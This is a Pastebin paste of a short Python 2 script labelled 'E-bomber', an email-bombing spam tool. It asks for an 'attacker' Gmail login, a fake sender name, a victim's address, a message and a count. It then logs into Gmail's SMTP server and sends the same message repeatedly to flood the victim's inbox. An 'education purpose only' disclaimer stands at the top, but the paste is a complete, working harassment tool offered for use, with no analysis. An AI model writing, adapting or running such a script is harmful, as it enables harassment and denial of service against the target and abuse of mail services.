Guest User

Untitled

a guest
Jan 11th, 2018
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.21 KB | None | 0 0
  1. #!/usr/bin/python
  2. #E-bomber
  3. #This code for education purpose only.
  4. #Use it at your own risk !!!
  5.  
  6.  
  7.  
  8. import os
  9. import smtplib
  10. import getpass
  11. import sys
  12. import time
  13.  
  14. print ' '
  15. print ' '
  16. print ' ################################################# '
  17. print ' # # '
  18. print ' # Email Bomber ( Spamming Tool ) # '
  19. print ' # # '
  20. print ' # Version 2.0 # '
  21. print ' # # '
  22. print ' # Modified by : Mohin Paramasivam # '
  23. print ' # # '
  24. print ' # Only for Educational Purposes !! # '
  25. print ' # # '
  26. print ' ################################################# '
  27.  
  28. print ' '
  29.  
  30.  
  31. print ' '
  32.  
  33. print ' '
  34. email = raw_input('Attacker Gmail Address : ')
  35. print ' '
  36. user = raw_input('Anonymous name : ')
  37. print ' '
  38. passwd = getpass.getpass('Password: ')
  39.  
  40. print ' '
  41.  
  42. to = raw_input('\nTo: ')
  43.  
  44.  
  45. print ' '
  46.  
  47. body = raw_input('Message: ')
  48.  
  49. print ' '
  50.  
  51. total = input('Number of send: ')
  52.  
  53. smtp_server = 'smtp.gmail.com'
  54. port = 587
  55.  
  56.  
  57. print ''
  58.  
  59. try:
  60. server = smtplib.SMTP(smtp_server,port)
  61. server.ehlo()
  62. server.starttls()
  63. server.login(email,passwd)
  64. for i in range(1, total+1):
  65. subject = os.urandom(9)
  66. msg = 'From: ' + user + '\nSubject: ' + '\n' + body
  67. server.sendmail(email,to,msg)
  68. print "\rE-mails sent: %i" % i
  69. time.sleep(1)
  70. sys.stdout.flush()
  71. server.quit()
  72. print '\n Done !!!'
  73. except KeyboardInterrupt:
  74. print '[-] Canceled'
  75. sys.exit()
  76. except smtplib.SMTPAuthenticationError:
  77. print '\n[!] The username or password you entered is incorrect.'
  78. sys.exit()
Add Comment
Please, Sign In to add comment